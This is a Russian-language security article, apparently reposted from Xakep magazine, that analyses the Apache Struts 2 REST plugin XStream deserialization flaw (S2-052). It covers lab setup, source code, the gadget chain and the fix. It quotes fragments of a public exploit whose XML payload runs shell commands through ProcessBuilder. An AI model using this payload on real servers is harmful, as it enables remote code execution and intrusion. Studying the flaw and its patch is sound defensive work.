JustPaste.it

Хакер - Порка распорки. Разбираем свежую уязвимость в фреймворке Apache Struts 2

nopaywall

https://t.me/nopaywall

Сегодня мы вернемся к Apache Struts, популярному веб-фреймворку, который за последнее время натерпелся от исследователей безопасности и явил миру несколько критических уязвимостей. В этой статье я хочу обсудить уязвимость в модуле, отвечающем за REST API. Она приводит к выполнению произвольного кода и открывает широкие возможности (такие, например, как слив личных данных половины населения США).
 

В предыдущих сериях

Не так давно я уже писал статью об уязвимости в Struts. Там речь шла о некорректной обработке сообщений об ошибках: используя OGNL, можно было выполнять произвольные команды на машине.

Еще была уязвимость языка шаблонов Freemarker (Freemarker Template Language). Некорректная работа механизма обработки тегов позволяла опять же отправлять серверу выражения Object Graph Navigation Language (OGNL), которые снова приводили к выполнению произвольного кода.

 

В этот раз под прицелом оказался механизм REST API, а ошибка закралась в механизм десериализации сущностей XML.

 

Наш подопытный

Все свои манипуляции я буду производить на ОС Windows 10. В качестве сервера я использую Apache Tomcat 8.5.20. Версию фреймворка Apache Struts я возьму из ветки 2.5, и это последняя уязвимая до патча — 2.5.12. Скачать можно, разумеется, на официальном сайте. Чтобы не пришлось искать, вот тебе прямая ссылочка (ZIP). Также можешь скачать только исходники, если захочешь заглянуть внутрь и лучше понять, как все устроено.

После установки сервера нужно распаковать архив с фреймворком, взять из папки apps приложение struts2-rest (файл struts2-rest-showcase.war) и положить в папку webapps сервера Tomcat. После этого можно запускать сервер.

Теперь, перейдя по адресу http://127.0.0.1:8080/struts2-rest-showcase, ты можешь наблюдать нашего подопытного.

Готовое к экспериментам приложение Готовое к экспериментам приложение
 

Копаемся в исходниках

Для начала несколько слов о ContentTypeHandler. Это интерфейс, который предоставляется фреймворком для конвертирования данных в объекты Java. Десериализацию здесь используют, чтобы преобразовать переданные данные в объекты. Поэтому каждый класс, реализующий этот интерфейс, представляет потенциальный интерес для нас как исследователей. Ведь все мы любим десериализацию юзердаты.
Так вот, в Struts имеется такой класс, как XStreamHandler.

/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java
30: /** 31: * Handles XML content 32: */ 33: public class XStreamHandler implements ContentTypeHandler {

Он используется при обработке данных в формате XML, отправленных на сервер.
Заглянем в конфигурационный файл.

/plugins/rest/src/main/resources/struts-plugin.xml
35: <bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="xml" class="org.apache.struts2.rest.handler.XStreamHandler" /> ... 47: <constant name="struts.action.extension" value="xhtml,,xml,json" />

Как видишь, обработка XML-запросов включена по умолчанию, и занимается этим именно класс XStreamHandler.

Во время обработки пользовательского запроса класс ContentTypeInterceptorопределяет MIME-тип отправленных данных и направляет выполнение кода в нужное русло — для обработки данных выбирается соответствующий обработчик.

/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java
38: public class ContentTypeInterceptor extends AbstractInterceptor { ... 48: public String intercept(ActionInvocation invocation) throws Exception { 49: HttpServletRequest request = ServletActionContext.getRequest(); 50: ContentTypeHandler handler = selector.getHandlerForRequest(request);

Чтобы превратить переданные данные в объект, существует метод с подходящим названием toObject. Он и вызывается из обработчика, определенного с помощью intercept.

/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java
59: InputStreamReader reader = new InputStreamReader(is); 60: handler.toObject(reader, target);
/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java
43: public void toObject(Reader in, Object target) { 44: XStream xstream = createXStream(); 45: xstream.fromXML(in, target); 46: }

Объект in — это не что иное, как пользовательские данные, отправленные определенному методу REST API. Эти данные передаются в XStream.fromXML.

/src/java/com/thoughtworks/xstream/XStream.java
1239: public <T> T fromXML(final Reader xml, final T root) { 1240: return unmarshal(hierarchicalStreamDriver.createReader(xml), root); 1241: }

Оттуда они попадают в функцию десериализации unmarshall. Никаких предварительных проверок переданных данных не производится, поэтому можно спокойно отправлять что душе угодно, а душе угодно хлеба и зрелищ. Ну и запущенный калькулятор, например, увидеть было бы неплохо.

 

Детали эксплоита и PoC

Так как для эксплуатации уязвимости достаточно отправки обычного HTTP-запроса к серверу, то можно воспользоваться хоть curl. Но, разумеется, есть и готовый эксплоит, написанный на Python.

42627.py
23: exploit = ''' 24: <map> ... 86: request = requests.post(url, data=exploit, headers=headers) ... 94: print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')

Эксплоит использует готовый RCE-пейлоад, нацеленный на системы с Linux.

42627.py
38: <next class="java.lang.ProcessBuilder"> 39: <command> 40: <string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string> 41: </command>

Я просто скопирую сам пейлоад, изменю его под наши Windows-реалии, выкину несколько необязательных параметров и попробую отправить методом POST. В качестве URL можно использовать корень приложения, который обрабатывает REST API. В моем случае это http://struts.visualhack:8080/struts2-rest-showcase/. В реальных условиях его, естественно, необходимо будет найти. ?

Успешная эксплуатация RCE-уязвимости в Apache Struts 2 Успешная эксплуатация RCE-уязвимости в Apache Struts 2

Сервер возвращает ошибку 500, и код успешно выполняется. Отмечу, что уязвимы все типы запросов, которые поддерживаются REST API — PUT, GET, POST и так далее.

Вообще, сам пейлоад сгенерирован при помощи утилиты marshalsec. С ней можно самыми разными способами проэксплуатировать классы десериализации (маршаллизации) и различные гаджеты к ним. В этом эксплоите использовался класс XStream и ImageIO в качестве гаджета.

Генерация пейлоада с помощью marshalsec Генерация пейлоада с помощью marshalsec

Техника эксплуатации с помощью сгенерированного эксплоита использует цепочку гаджетов java.util.Collections$EmptyIterator &rarr; javax.imageio.ImageIO$ContainsFilter.

  1. Метод hashCode() из класса jdk.nashorn.internal.objects.NativeString вызывает NativeString->getStringValue().

    /src/jdk/nashorn/internal/objects/NativeString.java

    115: @Override 116: public int hashCode() { 117: return getStringValue().hashCode(); 118: }
  2. getStringValue() вызывает java.lang.CharSequence->toString().

  3. Затем toString() из com.sun.xml.internal.bind.v2.runtime.unmarshaller. Base64Dataвызывает Base64Data->get().

    42627.py

    28: <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 29: <dataHandler>

    /com/sun/xml/internal/bind/v2/runtime/unmarshaller/Base64Data.java

    67: private DataHandler dataHandler;

    /com/sun/xml/internal/bind/v2/runtime/unmarshaller/Base64Data.java

    177: public byte[] More ...get() { 178: if (data == null) { 179: try { 180: ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024); 181: InputStream is = dataHandler.getDataSource().getInputStream();
  4. Base64Data->get(), в свою очередь, запускает read() из java.io.InputStream, предоставленного javax.activation.DataSource. А там у нас com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource, который мы определим далее в пейлоаде.

    42627.py

    30: <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> ...
  5. javax.crypto.CipherInputStream->read() в итоге вызывает метод javax.crypto.Cipher->update().

  6. Что, в свою очередь, приводит к вызову класса FirstProvider, запускающего итератор, который мы ему передадим. А передаем мы второй гаджет цепочки — javax.imageio.spi.FilterIterator.

    Описание работы гаджета ImageIO Описание работы гаджета ImageIO35: <serviceIterator class="javax.imageio.spi.FilterIterator"> 36: <iter class="javax.imageio.spi.FilterIterator">
  7. Полученный итератор выполняет метод next(), в котором происходит вызов процедуры filter из FilterIterator$Filter.

    38: <next class="java.lang.ProcessBuilder"> 39: <command> 40: <string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string> 41: </command> 42: <redirectErrorStream>false</redirectErrorStream> 43: </next>
  8. Это ведет к тому, что javax.imageio.ImageIO$ContainsFilter вызывает указанный метод из объекта, который был передан через FilterIterator.

    45: <filter class="javax.imageio.ImageIO$ContainsFilter"> 46: <method> 47: <class>java.lang.ProcessBuilder</class> 48: <name>start</name> 49: <parameter-types/> 50: </method> 51: <name>foo</name> 52: </filter>

Таким образом, отрабатывает java.lang.ProcessBuilder->start() с параметрами из <command>, который приводит к выполнению произвольного кода в системе. Довольно запутанно, да, но, изучив пейлоад, ты постепенно поймешь, как это работает.

 

Анализ патча

Теперь посмотрим на то, как разработчики исправили эту ошибку. Вот этот коммит фиксит уязвимость.

Патч, исправляющий уязвимость S2-052 Патч, исправляющий уязвимость S2-052

Мы можем видеть, что изменения коснулись обработчика XStreamHandler. Ребята расширили его набор функций и добавили белый список классов, которые он может обрабатывать.

/src/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java
047: public class XStreamHandler extends AbstractContentTypeHandler { ... 059: public void toObject(ActionInvocation invocation, Reader in, Object target) { 060: XStream xstream = createXStream(invocation); ... 073: protected XStream createXStream(ActionInvocation invocation) { 074: XStream stream = new XStream(); 075: LOG.debug("Clears existing permissions"); 076: stream.addPermission(NoTypePermission.NONE); 077: 078: LOG.debug("Adds per action permissions"); 079: addPerActionPermission(invocation, stream); 080: 081: LOG.debug("Adds default permissions"); 082: addDefaultPermissions(invocation, stream); 083: return stream; 084: } ... 086: private void addPerActionPermission(ActionInvocation invocation, XStream stream) { 087: Object action = invocation.getAction(); 088: if (action instanceof AllowedClasses) { ... 104: protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) { ... 109: stream.addPermission(NullPermission.NULL); 110: stream.addPermission(PrimitiveTypePermission.PRIMITIVES); 111: stream.addPermission(ArrayTypePermission.ARRAYS); 112: stream.addPermission(CollectionTypePermission.COLLECTIONS); 113: stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));

Разумеется, потенциально небезопасные классы туда не входят.

 

Демонстрация эксплуатации уязвимости

 

 

Выводы

Как это всегда бывает, наличие серьезных уязвимостей в популярных программных продуктах привлекает к ним большое внимание, в том числе со стороны новых экспертов по безопасности. Свежим взглядом они могут обнаружить то, что ускользало от других исследователей. Так получилось и с фреймворком Struts.

Напоследок хочу сказать, что утилита marshalsec была написана Морицем Бехлером (Moritz Bechler) на основе его фундаментального исследования атак на алгоритмы десериализации и методов их эксплуатации. Всем, кто не читал, рекомендую обязательно ознакомиться.

Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall